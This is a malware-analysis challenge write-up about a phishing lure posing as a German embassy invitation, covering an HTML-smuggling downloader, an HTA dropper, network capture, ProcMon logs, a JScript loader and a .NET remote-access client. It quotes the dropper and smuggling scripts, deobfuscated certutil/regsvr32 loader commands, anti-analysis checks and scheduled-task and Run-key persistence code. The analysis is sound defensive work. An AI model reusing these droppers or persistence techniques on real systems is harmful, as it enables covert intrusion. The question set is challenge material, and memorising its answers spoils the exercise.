Scenario

Our staff recently received an invite to the German embassy to bid farewell to the Germany Ambassador. We believe this invite was a phishing email due to alerts that fired on our organisation’s SIEM tooling following the receipt of such mail. We have provided a wide variety of artifacts inclusive of numerous binaries, a network capture, DLLs from the host system and also a .hta file. Please analyse and complete the questions detailed below!

Questions

Questions

  1. The victim visited a web page.The HTML file of the web page has beenprovided as ‘downloader.html’ sample file.The web page downloadsa ZIP file named ‘Invitation_Farewell_DE_EMB.zip’. What is the SHA-256 hash of the ZIP file?
  2. Thedownloaded ZIP file contains a HTA file, which creates multiple files. One of those files is a signed fileby Microsoft Corporation. In HTA file, which variable’s value was the content of that signed file?
  3. The threat actor was acting as an embassy of a country. Which country was that?
  4. The malware communicatedwith a chatting platform domain. What is the domainname (inclusive of sub doamain) the malware connects to?
  5. How many DNS A records were found for that domain?
  6. It seems like the chatting service was running on a very known cloud service using a FQDN, where the FQDN contains the IP address of the chatting domain in reversive format somehow. What is the FQDN?
  7. What was the parent PID (PPID) of the malware?
  8. What was the computer name of the victim computer?
  9. What was the username of the victim computer?
  10. How many times were the Windows Registry keys set with a data value?
  11. Did the malicious mso.dll load by the malware executable successfully?
  12. The JavaScript file tries to write itself as a .bat file. What is the .bat file name (name+extension) it tries to write itself as?
  13. The JavaScript file contains a big text which is encoded as Base64. If you decode that Base64 text and write its content as an EXE file. What will be the SHA256 hash of the EXE?
  14. The malware contains a class Client.Settings which sets different configurations. It has a variable ‘Ports’ where the value is Base64 encoded. The value is decrypted using Aes256.Decrypt. After decryption, what will be its value (the decrypted value will be inside double quotation)?
  15. The malware sends a HTTP request to a URI and checks the country code or country name of the victim machine. To which URI does the malware sends request for this?
  16. After getting the country code or country name of the victim machine, the malware checks some country codes and a country name. In case of the country name, if the name is matched with the victim machine’s country name, the malware terminates itself. What is the country name it checks with the victim system?
  17. As an anti-debugging functionality, the malware checks if there is any process running where the process name is a debugger. What is the debugger name it tries to check if that’s running?
  18. For persistence, the malware writes a Registry key where the registry key is hardcoded in the malware in reversed format. What is the registry key after reversing?
  19. The malware sets a scheduled task. What is the Run Level for the scheduled task/job it sets?

Evidence

HTML File

Based on the questions my first order of business is to analyse the provided HTML file downloader.html which in turn is said to download a ZIP archive named Invitation_Farewell_DE_EMB.zip. Within the HTML an automatic download is coded using JavaScript. The to be downloaded file is stored an array of integers, which is cast into a blob with the mime type application/zip.

var d = [TRUNCATED]
 
var e = new Uint8Array(d);
var f = new Blob([e], {type: "application/zip"});
 
var fileName = 'Invitation_Farewell_DE_EMB.zip';
 
if (window.navigator.msSaveOrOpenBlob) {
    window.navigator.msSaveOrOpenBlob(f,fileName);
} else {
    var a = document.createElement('a');
    document.body.appendChild(a);
    a.style = 'display: none';
    
    var url = window.URL.createObjectURL(f);
    a.href = url;
    
    a.download = fileName;
    a.click();
}

Since there is nothing else going with this JavaScript snippet, I assess it to be safe to execute the JavaScript in my isolated VM to download the contained ZIP file. The thus downloaded ZIP file contained a single HTA file named Invitation_Farewell_DE_EMB.hta

The SHA256 hashes of the associated files are:

downloader.html
e88b8e144c4504e3ea16b829508edaf15b1292681618468cd87d467e9a446402

Invitation_Farewell_DE_EMB.zip
5D4BF026FAD40979541EFD2419EC0B042C8CF83BC1A61CBCC069EFE0069CCD27

Invitation_Farewell_DE_EMB.hta
044c42788cfe2b14b5bd3ff6e51f3b1e10983be1a3641165f10a1a3c8d9b2eb0

HTA File

I open the HTA in notepad++ to look at is contents, since HTA is a plaintext format it’s contents can easily be viewed this bar potential obfuscation by a threat actor.

<html>
<head>
<script language="javascript">
 
    var mso = <SNIP>;
	var content = '';
    for(var i = 0x0; i < mso['length']; i++) {
        content += String['fromCharCode'](mso[i]);
    }
 
    var f = new ActiveXObject('scripting.filesystemobject');
    var msopath = f.GetFolder("C:\\windows\\tasks") + '\\mso.dll';
 
    var a1 = f['opentextfile'](msopath, 0x2, 0x1, 0x0);
 
    a1['write']('MZ');
    a1['close']();
    var a2 = f['opentextfile'](msopath, 0x8, 0x1, -0x1);
    a2['write'](content);
    a2['close']();
 
 
    var msoev = <SNIP>;
	var content2 = '';
    for(var i = 0x0; i < msoev['length']; i++) {
        content2 += String['fromCharCode'](msoev[i]);
    }
 
    var f = new ActiveXObject('scripting.filesystemobject');
    var msoevpath = f.GetFolder("C:\\windows\\tasks") + '\\msoev.exe';
 
    var a3 = f['opentextfile'](msoevpath, 0x2, 0x1, 0x0);
 
    a3['write']('MZ');
    a3['close']();
    var a4 = f['opentextfile'](msoevpath, 0x8, 0x1, -0x1);
    a4['write'](content2);
    a4['close']();
 
 
    var app = <SNIP>;
	var content3 = '';
    for(var i = 0x0; i < app['length']; i++) {
        content3 += String['fromCharCode'](app[i]);
    }
 
    var f = new ActiveXObject('scripting.filesystemobject');
    var pathapp = f.GetFolder("C:\\windows\\tasks") + '\\AppVIsvSubsystems64.dll';
 
    var a5 = f['opentextfile'](pathapp, 0x2, 0x1, 0x0);
 
    a5['write']('MZ');
    a5['close']();
    var a6 = f['opentextfile'](pathapp, 0x8, 0x1, -0x1);
    a6['write'](content3);
    a6['close']();
 
    var pdf = <SNIP>;
	var content4 = '';
    for(var i = 0x0; i < pdf['length']; i++) {
        content4 += String['fromCharCode'](pdf[i]);
    }
 
    var f = new ActiveXObject('scripting.filesystemobject');
    var pathpdf = f.GetFolder(".") + '\\Invitation.pdf';
 
    var a7 = f['opentextfile'](pathpdf, 0x2, 0x1, 0x0);
 
    a7['write']('%P');
    a7['close']();
    var a8 = f['opentextfile'](pathpdf, 0x8, 0x1, -0x1);
    a8['write'](content4);
    a8['close']();
 
 
    window['close']();
</script>
<script language="vbscript">
CreateObject("WScript.Shell").Exec "C:\\windows\\tasks\\msoev.exe"
</script>
</script>
</head>
<body>
</body>
</html>

Within the HTA it is clearly visible that several files are created upon execution (this arrays which stored the files were left out of the code sample). The DLLs and executable are most certainly part of the malicious payload, while the PDF file is probably meant to distract the victim, from the malware the just executed.

mso.dll
ae79aa17e6f3cc8e816e32335738b61b343e78c20abb8ae044adfeac5d97bf70

msoev.exe
06cea3a5ef9641bea4704e9f6d2ed13286f9e5ec7ab43f8067f15b5a41053d33

AppVIsvSubsystems64.dll 4da57027ffe7e32c891334d6834923bc17e4174c53ace4ff69de6410c24d84cb

Invitation.pdf
19442634bc2e0bfa6d08b7be333a351b932a517a1002c0e1c49fea8381372a6e

Looking up the hashes on VirusTotal and checking their properties locally shows that one the files is actually signed by Microsoft.

PDF Decoy

While most attacks based on PDF either require a vulnerability in the PDF rendering software or some form of additional user interaction I still decide to check out the PDF file with pdfid.py tool from Didier Stevens.

PS C:\Users\flare > pdfid.py .\Desktop\einladen\malware\suspicious_files\Invitation.pdf
PDFiD 0.2.8 .\Desktop\einladen\malware\suspicious_files\Invitation.pdf
 PDF Header: %PDF-1.5
 obj                   38
 endobj                38
 stream                36
 endstream             36
 xref                   0
 trailer                0
 startxref              1
 /Page                  0
 /Encrypt               0
 /ObjStm                1
 /JS                    0
 /JavaScript            0
 /AA                    0
 /OpenAction            0
 /AcroForm              1
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /XFA                   0
 /URI                   0
 /Colors > 2^24         0

Inspecting the PDF lure confirms that the phishing campaign targets a German embassy. This was already mentioned in the scenario description and could be gleamed from the filenames of the ZIP and HTA, since both included the country code DE in their names.

Network Capture

Moving on to the provided PCAP file, based on the provided questions I focus and traffic related to a chatting platform. Since we are not given any other pivot point at this moment. To check what domains were resolved in the network capture I use the statistics function of Wireshark. Under the Resolved Addresses select Hosts in the drop-down menu to the right to see all the resolved hostnames from the capture. At the bottom of the list I find what looks like a domain of a chat platform.

toyy.zulipchat.com

A quick look at the domain zulipchat[.]com using a web service like URLScan.io confirms that this domain is indeed a chatting platform. To figure out the number of A records associated with toyy[.]zulipchat[.]com the following filter can be used to find related DNS traffic.

dns.qry.name == "toyy.zulipchat.com"

Digging into the DNS reponse shows that it contained a total of six A records. Interestingly enough in the Resolved Addresses statistics there were only 5 IP addresses, that resolved to toyy[.]zulipchat[.]com. The one IP address that did not resolve to toyy[.]zulipchat[.]com resolved to the cloud service provider instead.

35.171.197.55 -> ec2-35-171-197-55[].compute-1[.]amazonaws[.]com

ProcMon Logs

We are also provided with a .PML file for further analysis. This file format is used to export logs form the Sysinternals Tool ProcMon for later analysis. So lets import the provided file into ProcMon.

ProcMon and PML

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements

PML files mostly belong to Process Monitor by Microsoft. PML is a log file used by the Process Monitor tool. Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry, and process/thread activity.

The log contains only entries related to the previously identified binary msoev.exe. The PPID of the malware is immediately visible, but can also be found when looking at the Event Details -> Process.

Additional information about the victim host system can be gathered using in theEvent Details -> Event tab, where all currently applied environment variables for this process can be found. These include among other thing the hostname and the name of the user executing said binary.

User: TWF
Hostname: DESKTOP-O88AN4O

The next questions leads us to look deeper into Registry operations performed by the malware, specifically how often a Registry key data value was set. This can easily be achieved by filtering the log for the appropriate operation, which in this case is RegSetValue. This shows us a total of 11 visible lines.

The next part is about whether or not one of the bundled DLLS from the HTA file mso.dll was successfully loaded by the malware process. Filtering the log on Operation = Load Image AND Path contains mso.dll returns a single line. An the result of this event was SUCCESS.

JScript Loader

unc.js
1754dd14b25884fb4c7fc1663cb56a8c169efdd59e173aa1573cd24eda21c393

At a first glance a Base64 encoded blob on line 28 and obfuscated command using the defined variable names above from line 29 through 32 look interesting. With the power of ChatGPT and Regex I converted the replacements into a dictionary and the obfuscated strings into an array. Now all that is left is to replace each match of a key of my dictionary with it value. This returns the following plaintext for lines 29-32, which contains no information about a BAT file written to disk.

def replace_text(text, dictionary):
    """
    Replace each occurrence of a key from the dictionary in the given text with the associated value.
    
    Args:
        text (str): The input text where replacements will be made.
        dictionary (dict): A dictionary where keys represent substrings to be replaced and values represent
                           the replacements.
                           
    Returns:
        str: The modified text after replacements.
    """
    for key, value in dictionary.items():
        text = text.replace(key, value)
    return text
 
def main():
    # Example dictionary and text
    dictionary = {'adviserakelettersmatter': 'n', 'adviserakefantasticporter': 'k', 'adviserakesoggyyoke': 's', 'adviserakeoutgoingchilly': 'l', 'adviserakeodddetect': 'm', 'adviserakecountfield': 'c', 'adviserakeacceptfour': 'u', 'adviserakedebtahead': 'z', 'adviserakescaredmany': 'g', 'adviserakecommondiscussion': 'v', 'adviserakeawesomelikeable': 'd', 'adviserakesteppretend': 'x', 'adviserakeancienttumble': 'f', 'adviserakebalanceterrify': 'j', 'adviserakedividegiraffe': 'q', 'adviserakelaughablepancake': 'e', 'adviserakepigutopian': 'i', 'adviserakegunarrange': 'h', 'adviserakepreachmaniacal': 'y', 'adviserakesickgrass': 'o', 'adviserakecampshrill': 'a', 'adviserakelineshake': 't', 'adviserakephobicscarf': 'w', 'adviserakefaceelite': 'r', 'adviserakeattemptpassenger': 'p', 'adviserakelooselighten': 'b'}
    
    text = ["adviserakecountfieldadviserakeawesomelikeable temp &adviserakelaughablepancakeadviserakecountfieldadviserakegunarrangeadviserakesickgrass adviserake","adviserakeancienttumbleadviserakepigutopianadviserakelettersmatteradviserakeawesomelikeableadviserakesoggyyokeadviserakelineshakeadviserakefaceelite /V adviserake '0' > jumpyflame","adviserakecountfieldadviserakelaughablepancakeadviserakefaceeliteadviserakelineshakeadviserakeacceptfouradviserakelineshakeadviserakepigutopianadviserakeoutgoingchilly -adviserakeancienttumble -adviserakeawesomelikeableadviserakelaughablepancakeadviserakecountfieldadviserakesickgrassadviserakeawesomelikeableadviserakelaughablepancake jumpyflame adviserakefaceeliteadviserakesickgrassadviserakesoggyyokeadviserakelaughablepancakeadviserakecountfieldadviserakesickgrassadviserakeodddetectadviserakelooselighten.adviserakeawesomelikeableadviserakeoutgoingchillyadviserakeoutgoingchilly &adviserakelaughablepancakeadviserakecountfieldadviserakegunarrangeadviserakesickgrass adviserake","adviserakefaceeliteadviserakelaughablepancakeadviserakescaredmanyadviserakesoggyyokeadviserakecommondiscussionadviserakefaceelite32 adviserakefaceeliteadviserakesickgrassadviserakesoggyyokeadviserakelaughablepancakeadviserakecountfieldadviserakesickgrassadviserakeodddetectadviserakelooselighten.adviserakeawesomelikeableadviserakeoutgoingchillyadviserakeoutgoingchilly &adviserakelaughablepancakeadviserakecountfieldadviserakegunarrangeadviserakesickgrass adviserake"]
    
    # Perform replacements
    for line in text:
 
        modified_text = replace_text(line, dictionary)
    
    # Print the modified text
        print(modified_text)
 
if __name__ == "__main__":
    main()
 
cd temp &echo adviserake
findstr /V adviserake '0' > jumpyflame
certutil -f -decode jumpyflame rosecomb.dll &echo adviserake
regsvr32 rosecomb.dll &echo adviserake

So looking into the sample a bit further based on the hash of the file and VirusTotal. Under the Behaviour tab I can see the files written to disk there is only one BAT file written to disk richpear.bat. Looking into the Base64 encoded string I decode it using some Powershell to get the original binary file out of it.

$b64      = 'AAAAAA...'
$filename = 'C:\path\to\file'
 
$bytes = [Convert]::FromBase64String($b64)
[IO.File]::WriteAllBytes($filename, $bytes)

Comparing the hash of the this file and the provided EmpireClient.exe shows both are the same file.

EmpireClient.exe
db84db8c5d76f6001d5503e8e4b16cdd3446d5535c45bbb0fca76cfec40f37cc

EmpireClient

Based on the output from DIE the binary is written in .NET, which means that it can comfortably be decompiled using tools such as dnSpy or dotPeek.

Opening up the binary in dnSpy and drilling down on the Namespaces shows some potentially interesting Classes.

Client.Settings
Client.Helper.Antisng
Client.Analysis.Anti_Analysis
Client.Install.NormalStartup
Client.Algorithm

Client.Settings

Settings.Key = Encoding.UTF8.GetString(Convert.FromBase64String(Settings.Key));
Settings.aes256 = new Aes256(Settings.Key);
Settings.Ports = Settings.aes256.Decrypt(Settings.Ports);
Settings.Hosts = Settings.aes256.Decrypt(Settings.Hosts);
 
		// Token: 0x04000004 RID: 4
		public static string Ports = "Yhc6k+R99kweya1xRMDhAdRjrYVuSxpgA2Lefoj5KOsbK3OcJtOpNfDubKUTCiWHoVrnnwqj70kyfYTLboawyVxN0W+L/MRchSITSNbbgXE=";
 
		// Token: 0x04000005 RID: 5
		public static string Hosts = "+Pbo5xZMrhjJHx3HhdYJHkdh+q2pyg1yYZl97b022jvSVzHjr+oe/3vVbtUvDCoDAsW+jMBLbtKBffWq8x27DFTDV3EK9RJnd3SY6OBD8Go=";

The settings of the malware are stored in Base64 encoded strings, which in turn are encrypted using AES-256-CBC. and verified using HMAC. To decrypt the setting I decided to recycle the AES C# code from the malware to create a decryptor for the settings. The code was than run using an online service called “TryItOnline”. Decrypting the port settings shows us the C2 ports of the malware 666,777,111,5544. Alternatively this information can be obtained by looking through the information of a sandbox analysis of the binary on VirusTotal.

using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
 
namespace Aes256 {
    public class Aes256 {
        public static void Main() {
            string key = Encoding.UTF8.GetString(Convert.FromBase64String("d0cyOFJwZlBBSXBnalhEVFd2bEdiVHRkQnpybnRBeVM="));
            string port = "Yhc6k+R99kweya1xRMDhAdRjrYVuSxpgA2Lefoj5KOsbK3OcJtOpNfDubKUTCiWHoVrnnwqj70kyfYTLboawyVxN0W+L/MRchSITSNbbgXE=";
            // Create a new instance of the Aes
            // class.  This generates a new key and initialization
            // vector (IV).
            // Decrypt the bytes to a string.
            Aes256 myAes = new Aes256(key);
            string roundtrip = myAes.Decrypt(port);
            Console.WriteLine(roundtrip);
        }
 
        // Token: 0x06000072 RID: 114 RVA: 0x000067BC File Offset: 0x000049BC
        public Aes256(string masterKey) {
            if (string.IsNullOrEmpty(masterKey))  {
                throw new ArgumentException("masterKey can not be null or empty.");
            }
 
            using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000)) {
                this._key = rfc2898DeriveBytes.GetBytes(32);
                this._authKey = rfc2898DeriveBytes.GetBytes(64);
            }
 
        }
 
        // Token: 0x06000073 RID: 115 RVA: 0x00003D23 File Offset: 0x00001F23
        public string Encrypt(string input) {
            return Convert.ToBase64String(this.Encrypt(Encoding.UTF8.GetBytes(input)));
        }
 
        // Token: 0x06000074 RID: 116 RVA: 0x00006834 File Offset: 0x00004A34
        public byte[] Encrypt(byte[] input) {
            if (input == null)  {
                throw new ArgumentNullException("input can not be null.");
            }
 
            byte[] array2;
            using (MemoryStream memoryStream = new MemoryStream()) {
                memoryStream.Position = 32L;
                using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider()) {
                    aesCryptoServiceProvider.KeySize = 256;
                    aesCryptoServiceProvider.BlockSize = 128;
                    aesCryptoServiceProvider.Mode = CipherMode.CBC;
                    aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
                    aesCryptoServiceProvider.Key = this._key;
                    aesCryptoServiceProvider.GenerateIV();
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write)) {
                        memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
                        cryptoStream.Write(input, 0, input.Length);
                        cryptoStream.FlushFinalBlock();
                        using (HMACSHA256 hmacsha = new HMACSHA256(this._authKey)) {
                            byte[] array = hmacsha.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length  -  32);
                            memoryStream.Position = 0L;
                            memoryStream.Write(array, 0, array.Length);
                        }
 
                    }
 
                }
 
                array2 = memoryStream.ToArray();
            }
 
            return array2;
        }
 
        // Token: 0x06000075 RID: 117 RVA: 0x00003D3B File Offset: 0x00001F3B
        public string Decrypt(string input) {
            return Encoding.UTF8.GetString(this.Decrypt(Convert.FromBase64String(input)));
        }
 
public byte[] Decrypt(byte[] input)
		{
			if (input == null)
			{
				throw new ArgumentNullException("input can not be null.");
			}
			byte[] array6;
			using (MemoryStream memoryStream = new MemoryStream(input))
			{
				using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
				{
					aesCryptoServiceProvider.KeySize = 256;
					aesCryptoServiceProvider.BlockSize = 128;
					aesCryptoServiceProvider.Mode = CipherMode.CBC;
					aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
					aesCryptoServiceProvider.Key = this._key;
					using (HMACSHA256 hmacsha = new HMACSHA256(this._authKey))
					{
						byte[] array = hmacsha.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
						byte[] array2 = new byte[32];
						memoryStream.Read(array2, 0, array2.Length);
						if (!this.AreEqual(array, array2))
						{
							throw new CryptographicException("Invalid message authentication code (MAC).");
						}
					}
					byte[] array3 = new byte[16];
					memoryStream.Read(array3, 0, 16);
					aesCryptoServiceProvider.IV = array3;
					using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
					{
						byte[] array4 = new byte[memoryStream.Length - 16L + 1L];
						byte[] array5 = new byte[cryptoStream.Read(array4, 0, array4.Length)];
						Buffer.BlockCopy(array4, 0, array5, 0, array5.Length);
						array6 = array5;
					}
				}
			}
			return array6;
		}
 
		// Token: 0x06000077 RID: 119 RVA: 0x00006B4C File Offset: 0x00004D4C
		[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
		private bool AreEqual(byte[] a1, byte[] a2)
		{
			bool flag = true;
			for (int i = 0; i < a1.Length; i++)
			{
				if (a1[i] != a2[i])
				{
					flag = false;
				}
			}
			return flag;
		}
 
        // Token: 0x04000038 RID: 56
        private const int KeyLength = 32;
        // Token: 0x04000039 RID: 57
        private const int AuthKeyLength = 64;
        // Token: 0x0400003A RID: 58
        private const int IvLength = 16;
        // Token: 0x0400003B RID: 59
        private const int HmacSha256Length = 32;
        // Token: 0x0400003C RID: 60
        private readonly byte[] _key;
        // Token: 0x0400003D RID: 61
        private readonly byte[] _authKey;
        // Token: 0x0400003E RID: 62
        private static readonly byte[] Salt = new byte[] {
            191, 235, 30, 86, 251, 205, 151, 59, 178, 25, 2, 36, 48, 165, 120, 67, 0, 61, 86, 68, 210, 30, 98, 185, 212, 241, 128, 231, 230, 195, 57, 65
        };
    }
 
}

Anti-Analysis

The malware comes with several anti-analysis checks. One of them is checking which country the malware is currently executed in. This is done through the geolocation of the IP address of the victim. A third-party service under the URL http://ip-api.com/json/ is used to gather this information. If the IP address is determined to be from Russia or the former Commonwealth of Independent States (CIS) is will not execute.

		public static void RunAntiAnalysis()
		{
			if (Anti_Analysis.DetectManufacturer() || Anti_Analysis.DetectDebugger() || Anti_Analysis.DetectSandboxie() || Anti_Analysis.IsSmallDisk() || Anti_Analysis.IsXP() || Anti_Analysis.IsProcessRunning("dnSpy") || Anti_Analysis.CheckWMI())
			{
				Environment.FailFast(null);
			}
		}

Within the Anti_Analysis Class multiple checks are bundled into one function call. Among other things the malware specifically checks for the presence of the debugger dnSpy.

Client.Install

Upon initial execution the malware establishes persistence on the system depending on whether or not the binary was executed with Administrator privileges. In the latter case persistence is established by creating a Scheduled Task.

<SNIP>
if (Methods.IsAdmin())
					{
						Process.Start(new ProcessStartInfo
						{
							FileName = "cmd",
							Arguments = string.Concat(new string[]
							{
								"/c schtasks /create /f /sc onlogon /rl highest /tn \"",
								Path.GetFileNameWithoutExtension(text),
								"\" /tr \"",
								text,
								"\" & exit"
							}),
							WindowStyle = ProcessWindowStyle.Hidden,
							CreateNoWindow = true
						});
					}
<SNIP>

If the malware does not have Administrator privileged it will instead use the RunOnce Registry key to persist on the host. The name of the Registry key is stored in reversed order, to avoid detection by well-known potentially malicious strings. This can be reversed using the CyberChef recipe Reverse.

else
					{
						using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Strings.StrReverse("\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
						{
							if (registryKey != null)
							{
								registryKey.SetValue(Path.GetFileNameWithoutExtension(text), "\"" + text + "\"");
							}
						}
					}
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\

Answers